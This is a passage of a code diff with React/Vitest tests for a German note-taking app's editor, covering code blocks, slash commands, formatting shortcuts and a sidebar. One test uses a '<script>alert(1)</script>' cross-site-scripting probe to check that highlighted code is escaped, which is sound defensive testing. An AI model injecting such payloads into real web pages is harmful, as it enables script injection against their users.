<OutlinerBlock
docId="doc-1"
block={blk}
index={0}
isLast
maxAllowedLevel={1}
hasChildren={false}
isFocused={false}
canEdit={props.canEdit ?? true}
onUpdateBlock={(updated, immediate) => {
updates.push(updated);
setBlk(updated);
props.onUpdateBlock?.(updated, immediate);
}}
onCreateBlockBelow={props.onCreateBlockBelow || (() => {})}
onDeleteBlock={props.onDeleteBlock || (() => {})}
onIndentBlock={(id, delta) => {
indentCalls.push([id, delta]);
props.onIndentBlock?.(id, delta);
}}
onNavigateFocus={props.onNavigateFocus || (() => {})}
registerTextareaRef={props.registerTextareaRef || (() => {})}
/>
);
};
const utils = render(<Wrapper />);
return { ...utils, updates, indentCalls };
}
describe('CodeBlockEditor', () => {
beforeEach(() => {
vi.useRealTimers();
});
afterEach(() => {
vi.restoreAllMocks();
});
it('calls update with lang when selecting a language and hides the picker for readers', () => {
const { container, updates, unmount } = renderOutlinerCodeBlock(makeCodeBlock({ lang: undefined }));
const select = container.querySelector('select') as HTMLSelectElement;
expect(select).toBeTruthy();
expect(select.value).toBe('');
fireEvent.change(select, { target: { value: 'yaml' } });
expect(updates).toHaveLength(1);
expect(updates[0].lang).toBe('yaml');
expect(select.value).toBe('yaml');
unmount();
// Reader view (!canEdit): shows plain text instead of <select>
const readerView = render(
<CodeBlockEditor block={makeCodeBlock({ lang: 'yaml' })} canEdit={false} />
);
expect(readerView.container.querySelector('select')).toBeNull();
expect(readerView.getByText('yaml')).toBeTruthy();
});
it('copies the code content to the clipboard and shows "Kopiert!" for 1.5s', () => {
vi.useFakeTimers();
const writeTextMock = vi.fn().mockResolvedValue(undefined);
Object.defineProperty(navigator, 'clipboard', {
value: { writeText: writeTextMock },
configurable: true,
writable: true,
});
const block = makeCodeBlock({ content: 'echo "hello world"' });
render(<CodeBlockEditor block={block} content={block.content} canEdit />);
const copyBtn = screen.getByRole('button', { name: /Kopieren/i });
fireEvent.click(copyBtn);
expect(writeTextMock).toHaveBeenCalledWith('echo "hello world"');
expect(screen.getByRole('button', { name: 'Kopiert!' })).toBeTruthy();
act(() => {
vi.advanceTimersByTime(1500);
});
expect(screen.queryByRole('button', { name: 'Kopiert!' })).toBeNull();
expect(screen.getByRole('button', { name: 'Kopieren' })).toBeTruthy();
});
it('indents by 2 spaces on Tab and outdents on Shift+Tab without indenting the bullet', () => {
const { container, updates, indentCalls } = renderOutlinerCodeBlock(
makeCodeBlock({ content: 'key: value', lang: 'yaml' })
);
const textarea = container.querySelector('textarea') as HTMLTextAreaElement;
textarea.focus();
textarea.setSelectionRange(0, 0);
fireEvent.keyDown(textarea, { key: 'Tab' });
expect(textarea.value).toBe(' key: value');
expect(updates[updates.length - 1]?.content).toBe(' key: value');
expect(indentCalls).toHaveLength(0);
fireEvent.keyDown(textarea, { key: 'Tab', shiftKey: true });
expect(textarea.value).toBe('key: value');
expect(updates[updates.length - 1]?.content).toBe('key: value');
expect(indentCalls).toHaveLength(0);
});
it('indents and outdents multiple selected lines on Tab and Shift+Tab', () => {
const { container } = renderOutlinerCodeBlock(
makeCodeBlock({ content: 'first: 1\nsecond: 2', lang: 'yaml' })
);
const textarea = container.querySelector('textarea') as HTMLTextAreaElement;
textarea.focus();
textarea.setSelectionRange(0, textarea.value.length);
fireEvent.keyDown(textarea, { key: 'Tab' });
expect(textarea.value).toBe(' first: 1\n second: 2');
fireEvent.keyDown(textarea, { key: 'Tab', shiftKey: true });
expect(textarea.value).toBe('first: 1\nsecond: 2');
});
it('renders Prism .token spans for yaml and escapes HTML tags like <script>', async () => {
const code = 'title: "<script>alert(1)</script>"\nenabled: true\ncount: 42';
const block = makeCodeBlock({ content: code, lang: 'yaml' });
const { container } = render(<CodeBlockEditor block={block} content={code} canEdit />);
await waitFor(() => {
expect(container.querySelectorAll('.token').length).toBeGreaterThan(0);
});
const pre = container.querySelector('pre') as HTMLPreElement;
const codeEl = pre.querySelector('code') as HTMLElement;
expect(pre.getAttribute('aria-hidden')).toBe('true');
expect(codeEl.querySelectorAll('.token').length).toBeGreaterThan(0);
// Ensure no real <script> element was injected into the DOM and raw HTML is escaped
expect(pre.querySelector('script')).toBeNull();
expect(codeEl.innerHTML).toContain('&lt;script&gt;');
expect(pre.textContent).toContain('<script>alert(1)</script>');
});
it('loads dependent grammars in the right order (tsx, cpp, php, scala)', async () => {
expect(await loadPrismLanguage('tsx')).toBe(true);
expect(await loadPrismLanguage('cpp')).toBe(true);
expect(await loadPrismLanguage('php')).toBe(true);
expect(await loadPrismLanguage('scala')).toBe(true);
});
it('sets lang directly when typing /code yaml or ```yaml in an empty bullet block', () => {
const bulletBlock: DocumentBlock = {
id: 'b-1',
type: 'bullet',
content: '',
level: 0,
position: 1000,
};
const { container, updates } = renderOutlinerCodeBlock(bulletBlock);
const textarea = container.querySelector('textarea') as HTMLTextAreaElement;
fireEvent.change(textarea, { target: { value: '/code yaml' } });
expect(updates[updates.length - 1]?.type).toBe('code');
expect(updates[updates.length - 1]?.lang).toBe('yaml');
expect(updates[updates.length - 1]?.content).toBe('');
// Also test ```json shortcut
const bulletBlock2: DocumentBlock = {
id: 'b-2',
type: 'bullet',
content: '',
level: 0,
position: 2000,
};
const res2 = renderOutlinerCodeBlock(bulletBlock2);
const ta2 = res2.container.querySelector('textarea') as HTMLTextAreaElement;
fireEvent.change(ta2, { target: { value: '```json' } });
expect(res2.updates[res2.updates.length - 1]?.type).toBe('code');
expect(res2.updates[res2.updates.length - 1]?.lang).toBe('json');
});
it('renders line numbers column with aria-hidden, user-select: none, and correct line count including trailing empty lines and 100+ lines', () => {
// 1. Single empty line
const { container, rerender } = render(
<CodeBlockEditor block={makeCodeBlock({ id: 'code-empty', content: '' })} content="" canEdit />
);
const getLineContainer = () => container.querySelector('[data-testid="code-line-numbers"]') as HTMLElement;
expect(getLineContainer()).toBeTruthy();
expect(getLineContainer().getAttribute('aria-hidden')).toBe('true');
expect(getLineContainer().className).toContain('select-none');
let lineEls = container.querySelectorAll('[data-line-number]');
expect(lineEls).toHaveLength(1);
expect(lineEls[0].textContent?.trim()).toBe('1');
// 2. Trailing empty line gives an extra line number (e.g. line 1 + empty line 2)
rerender(
<CodeBlockEditor
block={makeCodeBlock({ id: 'code-trailing', content: `first line
` })}
content={`first line
`}
canEdit
/>
);
lineEls = container.querySelectorAll('[data-line-number]');
expect(lineEls).toHaveLength(2);
expect(lineEls[0].textContent?.trim()).toBe('1');
expect(lineEls[1].textContent?.trim()).toBe('2');
// 3. 120 lines (100+ lines test)
const longCode = Array.from({ length: 120 }, (_, i) => `const x_${i + 1} = ${i + 1};`).join('\n');
rerender(
<CodeBlockEditor
block={makeCodeBlock({ id: 'code-long', content: longCode })}
content={longCode}
canEdit
/>
);
lineEls = container.querySelectorAll('[data-line-number]');
expect(lineEls).toHaveLength(120);
expect(lineEls[0].textContent?.trim()).toBe('1');
expect(lineEls[99].textContent?.trim()).toBe('100');
expect(lineEls[119].textContent?.trim()).toBe('120');
// Textarea has whitespace-pre and overlay has whitespace-pre
const textarea = container.querySelector('textarea') as HTMLTextAreaElement;
const pre = container.querySelector('pre') as HTMLPreElement;
expect(textarea.className).toContain('whitespace-pre');
expect(pre.className).toContain('whitespace-pre');
});
});
@@ -0,0 +1,163 @@
import React from 'react';
import { describe, it, expect, vi, beforeEach } from 'vitest';
import { render, screen, fireEvent, waitFor } from '@testing-library/react';
import { DocumentEditor } from '../DocumentEditor';
import { api } from '../../../lib/api';
import { Document } from '../../../lib/types';
import { EngineState } from '../../../lib/docSync/engine';
let currentListener: ((state: EngineState) => void) | null = null;
const mockUndo = vi.fn(() => ({ ok: true }));
const mockRedo = vi.fn(() => ({ ok: true }));
const baseEngineState: EngineState = {
ready: true,
status: 'saved',
role: 'owner',
title: 'Test Notiz',
blocks: [{ id: 'b1', documentId: 'doc_1', type: 'text', content: 'Hallo', level: 0, position: 1000 }],
pendingCount: 0,
shared: true,
sessions: 2,
presence: [{ userId: 'u2', name: 'Bob' }],
lockedByOthers: [],
conflicts: [],
canUndo: false,
canRedo: false,
channel: 'ws',
};
vi.mock('../../../lib/docSync/engine', () => {
return {
DocSyncEngine: class {
subscribe(fn: (state: EngineState) => void) {
currentListener = fn;
fn(baseEngineState);
return () => {
currentListener = null;
};
}
start() {
return Promise.resolve();
}
stop() {}
getState() {
return baseEngineState;
}
setTaskLinks() {}
focusBlock() {}
applyFlat() {}
setTitle() {}
undo() {
return mockUndo();
}
redo() {
return mockRedo();
}
},
};
});
vi.mock('../../../lib/api', async (importOriginal) => {
const actual = await importOriginal<typeof import('../../../lib/api')>();
return {
...actual,
api: {
...actual.api,
getDocument: vi.fn(),
getUsersDirectory: vi.fn(() => Promise.resolve([])),
getDocumentBacklinks: vi.fn(() => Promise.resolve({ backlinks: [] })),
},
};
});
const makeDoc = (overrides: Partial<Document> = {}): Document => ({
id: 'doc_1',
userId: 'u1',
title: 'Test Notiz',
icon: '📝',
folderPath: '',
content: '',
blocks: [{ id: 'b1', documentId: 'doc_1', type: 'text', content: 'Hallo', level: 0, position: 1000 }],
tags: [],
isPinned: false,
isArchived: false,
isOwner: true,
createdAt: '2026-10-30T08:00:00Z',
updatedAt: '2026-10-30T08:00:00Z',
...overrides,
});
describe('DocumentEditor header actions & status callback (Teil D)', () => {
beforeEach(() => {
vi.clearAllMocks();
const doc = makeDoc();
vi.mocked(api.getDocument).mockResolvedValue(doc);
});
it('reports live/presence status upward via onHeaderStatusChange and renders Undo/Redo + Three-Dots menu', async () => {
const doc = makeDoc({ isOwner: true });
const onHeaderStatusChange = vi.fn();
const onRequestMerge = vi.fn();
const onDeleteDoc = vi.fn();
const onOpenShareModal = vi.fn();
render(
<DocumentEditor
docId="doc_1"
initialDoc={doc}
availableFolders={[]}
onDocMetadataChange={vi.fn()}
onDeleteDoc={onDeleteDoc}
onOpenShareModal={onOpenShareModal}
onSelectTag={vi.fn()}
onRequestMerge={onRequestMerge}
onHeaderStatusChange={onHeaderStatusChange}
/>
);
await waitFor(() => {
expect(onHeaderStatusChange).toHaveBeenCalledWith(
expect.objectContaining({
showLive: true,
channel: 'ws',
})
);
});
// Undo / Redo buttons disabled initially
const undoBtn = screen.getByTitle('Rückgängig (Strg+Z)') as HTMLButtonElement;
const redoBtn = screen.getByTitle('Wiederholen (Strg+Y)') as HTMLButtonElement;
expect(undoBtn.disabled).toBe(true);
expect(redoBtn.disabled).toBe(true);
// Enable Undo & Redo via engine state update
currentListener?.({ ...baseEngineState, canUndo: true, canRedo: true });
await waitFor(() => {
expect(undoBtn.disabled).toBe(false);
expect(redoBtn.disabled).toBe(false);
});
fireEvent.click(undoBtn);
expect(mockUndo).toHaveBeenCalledTimes(1);
fireEvent.click(redoBtn);
expect(mockRedo).toHaveBeenCalledTimes(1);
// Share button is directly visible
const shareBtn = screen.getByTitle('Notiz teilen und Berechtigungen');
fireEvent.click(shareBtn);
expect(onOpenShareModal).toHaveBeenCalledWith(doc);
// Three-dots menu opens on click, shows secondary actions, and closes on Escape
const moreBtn = screen.getByTitle('Weitere Aktionen');
fireEvent.click(moreBtn);
expect(screen.getByText('Notiz anheften')).toBeTruthy();
expect(screen.getByText('Mit anderer Notiz zusammenführen…')).toBeTruthy();
expect(screen.getByText('Als Markdown (.md) exportieren')).toBeTruthy();
expect(screen.getByText('Notiz löschen')).toBeTruthy();
fireEvent.keyDown(document, { key: 'Escape' });
expect(screen.queryByText('Notiz anheften')).toBeNull();
});
});
@@ -118,3 +118,400 @@ describe('conflict copies', () => {
]); ]);
}); });
}); });
describe('slash command menu and outliner fixes', () => {
it('does not open the slash menu for URLs like https://a.de/b/ but opens for Text /co and closes on Escape or Backspace', () => {
const block = { id: 'b1', type: 'bullet', content: '', level: 0 } as DocumentBlock;
const { container, queryByText } = renderBlock(block);
const ta = container.querySelector('textarea') as HTMLTextAreaElement;
ta.focus();
fireEvent.change(ta, { target: { value: 'https://a.de/b/' } });
expect(queryByText('Befehl auswählen')).toBeNull();
fireEvent.change(ta, { target: { value: 'Text /ca' } });
expect(queryByText('Befehl auswählen')).toBeTruthy();
expect(queryByText('/callout')).toBeTruthy();
// Removing the slash closes the menu
fireEvent.change(ta, { target: { value: 'Text ' } });
expect(queryByText('Befehl auswählen')).toBeNull();
// Even when no command matches, Escape closes the menu
fireEvent.change(ta, { target: { value: '/zzzznotfound' } });
expect(queryByText('Kein Befehl gefunden')).toBeTruthy();
fireEvent.keyDown(ta, { key: 'Escape' });
expect(queryByText('Befehl auswählen')).toBeNull();
});
it('scrolls the active slash command button into view on ArrowDown', () => {
const scrollSpy = vi.fn();
HTMLElement.prototype.scrollIntoView = scrollSpy;
const block = { id: 'b1', type: 'bullet', content: '', level: 0 } as DocumentBlock;
const { container } = renderBlock(block);
const ta = container.querySelector('textarea') as HTMLTextAreaElement;
ta.focus();
fireEvent.change(ta, { target: { value: '/' } });
scrollSpy.mockClear();
fireEvent.keyDown(ta, { key: 'ArrowDown' });
expect(scrollSpy).toHaveBeenCalledWith({ block: 'nearest', inline: 'nearest' });
});
it('creates a new block on Enter at the last empty top-level bullet, after outdenting if indented', () => {
const onIndent = vi.fn();
const onCreateBelow = vi.fn();
const indented = { id: 'b1', type: 'bullet', content: '', level: 1 } as DocumentBlock;
const { container, rerender } = render(
<OutlinerBlock
docId="d"
block={indented}
index={0}
isLast
maxAllowedLevel={2}
hasChildren={false}
isFocused
canEdit
onUpdateBlock={() => {}}
onCreateBlockBelow={onCreateBelow}
onDeleteBlock={() => {}}
onIndentBlock={onIndent}
onNavigateFocus={() => {}}
registerTextareaRef={() => {}}
/>
);
const ta = container.querySelector('textarea') as HTMLTextAreaElement;
fireEvent.keyDown(ta, { key: 'Enter' });
expect(onIndent).toHaveBeenCalledWith('b1', -1);
expect(onCreateBelow).not.toHaveBeenCalled();
rerender(
<OutlinerBlock
docId="d"
block={{ ...indented, level: 0 }}
index={0}
isLast
maxAllowedLevel={1}
hasChildren={false}
isFocused
canEdit
onUpdateBlock={() => {}}
onCreateBlockBelow={onCreateBelow}
onDeleteBlock={() => {}}
onIndentBlock={onIndent}
onNavigateFocus={() => {}}
registerTextareaRef={() => {}}
/>
);
fireEvent.keyDown(ta, { key: 'Enter' });
expect(onCreateBelow).toHaveBeenCalledWith('b1', '');
});
it('lists commands whose name starts with the typed text first (/li → /link before /number)', () => {
const block = { id: 'b1', type: 'bullet', content: '', level: 0 } as DocumentBlock;
const { container } = renderBlock(block);
const ta = container.querySelector('textarea') as HTMLTextAreaElement;
fireEvent.change(ta, { target: { value: '/li', selectionStart: 3, selectionEnd: 3 } });
const labels = [...container.querySelectorAll('button')].map((b) => b.textContent || '').filter((t) => t.startsWith('/'));
expect(labels[0]).toMatch(/^\/link/);
expect(labels.findIndex((l) => l.startsWith('/number'))).toBeGreaterThan(0);
});
it('keeps an empty indented bullet on its level when another bullet on that level follows', () => {
const onIndent = vi.fn();
const onCreateBelow = vi.fn();
const { container } = render(
<OutlinerBlock
docId="d"
block={{ id: 'b1', type: 'bullet', content: '', level: 1 } as DocumentBlock}
index={0}
isLast={false}
siblingFollows
maxAllowedLevel={2}
hasChildren={false}
isFocused
canEdit
onUpdateBlock={() => {}}
onCreateBlockBelow={onCreateBelow}
onDeleteBlock={() => {}}
onIndentBlock={onIndent}
onNavigateFocus={() => {}}
registerTextareaRef={() => {}}
/>
);
fireEvent.keyDown(container.querySelector('textarea') as HTMLTextAreaElement, { key: 'Enter' });
expect(onIndent).not.toHaveBeenCalled();
expect(onCreateBelow).toHaveBeenCalledWith('b1', '');
});
it('inserts a bare URL for /link with a web address in an empty bullet, and [Text](url) otherwise', () => {
const updates: DocumentBlock[] = [];
const block = { id: 'b1', type: 'bullet', content: '', level: 0 } as DocumentBlock;
const { container, getByText, getByRole, getByPlaceholderText, rerender } = renderBlock(block, {
onUpdateBlock: (u: DocumentBlock) => updates.push(u),
});
const ta = container.querySelector('textarea') as HTMLTextAreaElement;
ta.focus();
fireEvent.change(ta, { target: { value: '/link' } });
fireEvent.keyDown(ta, { key: 'Enter' });
fireEvent.click(getByText('Web-Link'));
fireEvent.change(getByPlaceholderText('https://example.com'), { target: { value: 'https://example.com/test' } });
fireEvent.click(getByRole('button', { name: 'Link einfügen' }));
expect(updates[updates.length - 1]?.content).toBe('https://example.com/test');
// Non-empty bullet keeps [Text](url)
rerender(
<OutlinerBlock
docId="d"
block={{ ...block, content: 'Siehe' }}
index={0}
isLast
maxAllowedLevel={1}
hasChildren={false}
isFocused={false}
canEdit
onUpdateBlock={(u: DocumentBlock) => updates.push(u)}
onCreateBlockBelow={() => {}}
onDeleteBlock={() => {}}
onIndentBlock={() => {}}
onNavigateFocus={() => {}}
registerTextareaRef={() => {}}
/>
);
ta.focus();
fireEvent.change(ta, { target: { value: 'Siehe /link' } });
fireEvent.keyDown(ta, { key: 'Enter' });
fireEvent.click(getByText('Web-Link'));
fireEvent.change(getByPlaceholderText('z. B. MindSift Dokumentation'), { target: { value: 'Doku' } });
fireEvent.change(getByPlaceholderText('https://example.com'), { target: { value: 'https://example.com/doku' } });
fireEvent.click(getByRole('button', { name: 'Link einfügen' }));
expect(updates[updates.length - 1]?.content).toBe('Siehe [Doku](https://example.com/doku)');
});
});
describe('formatting shortcuts (Teil C)', () => {
it('toggles bold with and without selection (Ctrl+B and Cmd+B)', () => {
const block = { id: 'b1', type: 'bullet', content: 'hallo welt', level: 0 } as DocumentBlock;
const { container } = renderBlock(block);
const ta = container.querySelector('textarea') as HTMLTextAreaElement;
ta.focus();
// 1. With selection: wraps in **
ta.setSelectionRange(6, 10); // "welt"
const event1 = new KeyboardEvent('keydown', { key: 'b', ctrlKey: true, bubbles: true, cancelable: true });
ta.dispatchEvent(event1);
expect(event1.defaultPrevented).toBe(true);
expect(ta.value).toBe('hallo **welt**');
expect(ta.selectionStart).toBe(8);
expect(ta.selectionEnd).toBe(12);
// 2. With selection where delimiters are directly outside: unwraps **
const event2 = new KeyboardEvent('keydown', { key: 'b', metaKey: true, bubbles: true, cancelable: true });
ta.dispatchEvent(event2);
expect(event2.defaultPrevented).toBe(true);
expect(ta.value).toBe('hallo welt');
expect(ta.selectionStart).toBe(6);
expect(ta.selectionEnd).toBe(10);
// 3. With selection including delimiters: unwraps **
ta.value = 'hallo **welt**';
ta.setSelectionRange(6, 14); // "**welt**"
const event3 = new KeyboardEvent('keydown', { key: 'b', ctrlKey: true, bubbles: true, cancelable: true });
ta.dispatchEvent(event3);
expect(ta.value).toBe('hallo welt');
expect(ta.selectionStart).toBe(6);
expect(ta.selectionEnd).toBe(10);
// 4. Without selection: inserts **** and places cursor between
ta.value = 'start';
ta.setSelectionRange(5, 5);
const event4 = new KeyboardEvent('keydown', { key: 'b', ctrlKey: true, bubbles: true, cancelable: true });
ta.dispatchEvent(event4);
expect(ta.value).toBe('start****');
expect(ta.selectionStart).toBe(7);
expect(ta.selectionEnd).toBe(7);
});
it('toggles italic with and without selection (Ctrl+I)', () => {
const block = { id: 'b1', type: 'bullet', content: 'hallo welt', level: 0 } as DocumentBlock;
const { container } = renderBlock(block);
const ta = container.querySelector('textarea') as HTMLTextAreaElement;
ta.focus();
// 1. With selection: wraps in *
ta.setSelectionRange(6, 10); // "welt"
fireEvent.keyDown(ta, { key: 'i', ctrlKey: true });
expect(ta.value).toBe('hallo *welt*');
expect(ta.selectionStart).toBe(7);
expect(ta.selectionEnd).toBe(11);
// 2. Toggles off when already italic
fireEvent.keyDown(ta, { key: 'i', ctrlKey: true });
expect(ta.value).toBe('hallo welt');
expect(ta.selectionStart).toBe(6);
expect(ta.selectionEnd).toBe(10);
// 3. Without selection: inserts ** and places cursor between
fireEvent.change(ta, { target: { value: 'a' } });
ta.setSelectionRange(1, 1);
fireEvent.keyDown(ta, { key: 'i', ctrlKey: true });
expect(ta.value).toBe('a**');
expect(ta.selectionStart).toBe(2);
expect(ta.selectionEnd).toBe(2);
});
it('handles Ctrl+K: with selection wraps in [Text](…) and selects placeholder, without selection opens modal', () => {
const block = { id: 'b1', type: 'bullet', content: 'besuche mindsift heute', level: 0 } as DocumentBlock;
const { container, queryByText } = renderBlock(block);
const ta = container.querySelector('textarea') as HTMLTextAreaElement;
ta.focus();
// 1. With selection
ta.setSelectionRange(8, 16); // "mindsift"
const eventWithSel = new KeyboardEvent('keydown', { key: 'k', ctrlKey: true, bubbles: true, cancelable: true });
ta.dispatchEvent(eventWithSel);
expect(eventWithSel.defaultPrevented).toBe(true);
expect(ta.value).toBe('besuche [mindsift](…) heute');
// Placeholder "…" is selected
expect(ta.selectionStart).toBe(19);
expect(ta.selectionEnd).toBe(20);
expect(ta.value.slice(ta.selectionStart, ta.selectionEnd)).toBe('…');
// 2. Without selection: opens LinkModal
ta.setSelectionRange(0, 0);
expect(queryByText('Link einfügen')).toBeNull();
fireEvent.keyDown(ta, { key: 'k', ctrlKey: true });
expect(queryByText('Link einfügen')).toBeTruthy();
});
it('does nothing in code blocks or for read-only readers', () => {
// In code block
const codeBlock = { id: 'c1', type: 'code', content: 'const x = 1;', level: 0 } as DocumentBlock;
const codeView = renderBlock(codeBlock);
const codeTa = codeView.container.querySelector('textarea') as HTMLTextAreaElement;
codeTa.focus();
codeTa.setSelectionRange(6, 7); // "x"
const codeEvent = new KeyboardEvent('keydown', { key: 'b', ctrlKey: true, bubbles: true, cancelable: true });
codeTa.dispatchEvent(codeEvent);
expect(codeEvent.defaultPrevented).toBe(false);
expect(codeTa.value).toBe('const x = 1;');
// For readers (!canEdit)
const bulletBlock = { id: 'b1', type: 'bullet', content: 'text', level: 0 } as DocumentBlock;
const readerView = renderBlock(bulletBlock, { canEdit: false });
const readerTa = readerView.container.querySelector('textarea') as HTMLTextAreaElement;
readerTa.focus();
readerTa.setSelectionRange(0, 4);
const readerEvent = new KeyboardEvent('keydown', { key: 'b', ctrlKey: true, bubbles: true, cancelable: true });
readerTa.dispatchEvent(readerEvent);
expect(readerEvent.defaultPrevented).toBe(false);
expect(readerTa.value).toBe('text');
});
});
describe('outliner polish (Teil A)', () => {
it('opens slash menu at cursor position in the middle of text and inserts link at cursor', () => {
const updates: DocumentBlock[] = [];
const block = { id: 'b1', type: 'bullet', content: 'Vorher Nachher', level: 0 } as DocumentBlock;
const { container, queryByText, getByText, getByPlaceholderText, getByRole } = renderBlock(block, {
onUpdateBlock: (u: DocumentBlock) => updates.push(u),
});
const ta = container.querySelector('textarea') as HTMLTextAreaElement;
ta.focus();
// Type "/link" in the middle of the text (selectionStart at 12, right after "/link")
fireEvent.change(ta, { target: { value: 'Vorher /link Nachher', selectionStart: 12, selectionEnd: 12 } });
// Menu should be open with /link, but without /divider or /h1
expect(queryByText('Befehl auswählen')).toBeTruthy();
expect(queryByText('/link')).toBeTruthy();
expect(queryByText('/divider')).toBeNull();
expect(queryByText('/h1')).toBeNull();
// Select /link by pressing Enter
fireEvent.keyDown(ta, { key: 'Enter' });
// Link modal opens
expect(queryByText('Web-Link')).toBeTruthy();
fireEvent.click(getByText('Web-Link'));
fireEvent.change(getByPlaceholderText('z. B. MindSift Dokumentation'), { target: { value: 'Doku' } });
fireEvent.change(getByPlaceholderText('https://example.com'), { target: { value: 'https://example.com/test' } });
fireEvent.click(getByRole('button', { name: 'Link einfügen' }));
// Result has link inserted in the middle
expect(updates[updates.length - 1]?.content).toBe('Vorher [Doku](https://example.com/test) Nachher');
});
it('does not offer /divider at end of text, but offers it in empty block', () => {
const block = { id: 'b1', type: 'bullet', content: 'Ein Text', level: 0 } as DocumentBlock;
const { container, queryByText } = renderBlock(block);
const ta = container.querySelector('textarea') as HTMLTextAreaElement;
ta.focus();
// At end of non-empty text
fireEvent.change(ta, { target: { value: 'Ein Text /div' } });
expect(queryByText('Befehl auswählen')).toBeTruthy();
expect(queryByText('/divider')).toBeNull();
// In an empty block
fireEvent.change(ta, { target: { value: '/div' } });
expect(queryByText('Befehl auswählen')).toBeTruthy();
expect(queryByText('/divider')).toBeTruthy();
});
it('converts H1 block back to bullet via /text slash command', () => {
const updates: DocumentBlock[] = [];
const block = { id: 'b1', type: 'h1', content: 'Meine Überschrift', level: 0 } as DocumentBlock;
const { container, queryByText } = renderBlock(block, {
onUpdateBlock: (u: DocumentBlock) => updates.push(u),
});
const ta = container.querySelector('textarea') as HTMLTextAreaElement;
ta.focus();
fireEvent.change(ta, { target: { value: 'Meine Überschrift /text' } });
expect(queryByText('Befehl auswählen')).toBeTruthy();
expect(queryByText('/text')).toBeTruthy();
fireEvent.keyDown(ta, { key: 'Enter' });
const last = updates[updates.length - 1];
expect(last?.type).toBe('bullet');
expect(last?.content).toBe('Meine Überschrift');
});
it('closes slash menu on mousedown outside', () => {
const block = { id: 'b1', type: 'bullet', content: '', level: 0 } as DocumentBlock;
const { container, queryByText } = renderBlock(block);
const ta = container.querySelector('textarea') as HTMLTextAreaElement;
ta.focus();
fireEvent.change(ta, { target: { value: '/' } });
expect(queryByText('Befehl auswählen')).toBeTruthy();
// Click outside on document body
fireEvent.mouseDown(document.body);
expect(queryByText('Befehl auswählen')).toBeNull();
});
it('converts focused divider to empty bullet on Backspace', () => {
const updates: DocumentBlock[] = [];
const block = { id: 'd1', type: 'divider', content: '', level: 0 } as DocumentBlock;
const { container } = renderBlock(block, {
onUpdateBlock: (u: DocumentBlock) => updates.push(u),
});
const ta = container.querySelector('textarea') as HTMLTextAreaElement;
ta.focus();
fireEvent.keyDown(ta, { key: 'Backspace' });
const last = updates[updates.length - 1];
expect(last?.type).toBe('bullet');
expect(last?.content).toBe('');
});
});
@@ -0,0 +1,165 @@
import React from 'react';
import { describe, it, expect, vi, beforeEach } from 'vitest';
import { render, screen, waitFor } from '@testing-library/react';
import { WorkspaceView } from '../WorkspaceView';
import { api } from '../../../lib/api';
import { Document } from '../../../lib/types';
vi.mock('../DocumentEditor', () => ({
DocumentEditor: () => <div data-testid="document-editor">DocumentEditor</div>,
}));
vi.mock('../../../lib/api', async (importOriginal) => {
const actual = await importOriginal<typeof import('../../../lib/api')>();
return {
...actual,
api: {
...actual.api,
getDocuments: vi.fn(),
getFolders: vi.fn(),
getSharedFolders: vi.fn(),
getWorkspaceTags: vi.fn(),
getTrash: vi.fn(),
},
onWebSocketMessage: vi.fn(() => () => {}),
triggerHaptic: vi.fn(),
};
});
const makeDoc = (overrides: Partial<Document> & { id: string; title: string }): Document => ({
id: overrides.id,
userId: 'u1',
title: overrides.title,
icon: '📝',
folderPath: '',
content: '',
blocks: [],
tags: [],
isPinned: false,
isArchived: false,
createdAt: '2026-10-29T10:00:00Z',
updatedAt: '2026-10-29T10:00:00Z',
...overrides,
});
describe('WorkspaceView sidebar explorer', () => {
beforeEach(() => {
vi.restoreAllMocks();
vi.mocked(api.getFolders).mockResolvedValue([]);
vi.mocked(api.getSharedFolders).mockResolvedValue([]);
vi.mocked(api.getWorkspaceTags).mockResolvedValue([]);
vi.mocked(api.getTrash).mockResolvedValue([]);
});
it('renders empty state "Noch keine Notizen" when there are no notes and no folders', async () => {
vi.mocked(api.getDocuments).mockResolvedValue([]);
vi.mocked(api.getFolders).mockResolvedValue([]);
render(<WorkspaceView onStatsChange={vi.fn()} />);
await waitFor(() => {
expect(screen.getByText('Noch keine Notizen')).toBeTruthy();
});
expect(screen.queryByText('Angeheftet')).toBeNull();
expect(screen.queryByText('Ordner')).toBeNull();
expect(screen.queryByText('Notizen (Hauptebene)')).toBeNull();
expect(screen.queryByText('Keine Notizen auf der Hauptebene.')).toBeNull();
});
it('renders pinned docs, folders, and root docs without headings', async () => {
const docs: Document[] = [
makeDoc({
id: 'doc_pin_root',
title: 'Wichtige Pinned Notiz',
icon: '⭐',
isPinned: true,
}),
makeDoc({
id: 'doc_root',
title: 'Normale Root Notiz',
icon: '📝',
}),
makeDoc({
id: 'doc_in_folder',
title: 'Projekt Plan',
icon: '📄',
folderPath: 'Projekte',
}),
];
vi.mocked(api.getDocuments).mockResolvedValue(docs);
vi.mocked(api.getFolders).mockResolvedValue(['Projekte']);
render(<WorkspaceView onStatsChange={vi.fn()} />);
await waitFor(() => {
expect(screen.getByText('Wichtige Pinned Notiz')).toBeTruthy();
expect(screen.getByText('Normale Root Notiz')).toBeTruthy();
expect(screen.getByText('Projekte')).toBeTruthy();
});
// Ensure no old headings are rendered
expect(screen.queryByText('Angeheftet')).toBeNull();
expect(screen.queryByText('Ordner')).toBeNull();
expect(screen.queryByText('Notizen (Hauptebene)')).toBeNull();
expect(screen.queryByText('Keine Notizen auf der Hauptebene.')).toBeNull();
// The pinned root doc appears only once
const pinnedMatches = screen.getAllByText('Wichtige Pinned Notiz');
expect(pinnedMatches.length).toBe(1);
// Pinned container has separator when items follow
const pinnedItem = screen.getByText('Wichtige Pinned Notiz').closest('div[draggable="true"]');
const pinnedContainer = pinnedItem?.parentElement;
expect(pinnedContainer?.className).toContain('border-b border-border pb-1.5 mb-1.5');
});
it('does not render separator under pinned notes when nothing follows', async () => {
const docs: Document[] = [
makeDoc({
id: 'doc_pin_only',
title: 'Einzige Notiz Pinned',
icon: '⭐',
isPinned: true,
}),
];
vi.mocked(api.getDocuments).mockResolvedValue(docs);
vi.mocked(api.getFolders).mockResolvedValue([]);
render(<WorkspaceView onStatsChange={vi.fn()} />);
await waitFor(() => {
expect(screen.getByText('Einzige Notiz Pinned')).toBeTruthy();
});
const pinnedItem = screen.getByText('Einzige Notiz Pinned').closest('div[draggable="true"]');
const pinnedContainer = pinnedItem?.parentElement;
expect(pinnedContainer?.className).not.toContain('border-b');
});
it('keeps pinned note in folder visible in its folder', async () => {
const docs: Document[] = [
makeDoc({
id: 'doc_pin_in_folder',
title: 'Pinned im Ordner',
icon: '📌',
folderPath: 'Team',
isPinned: true,
}),
];
vi.mocked(api.getDocuments).mockResolvedValue(docs);
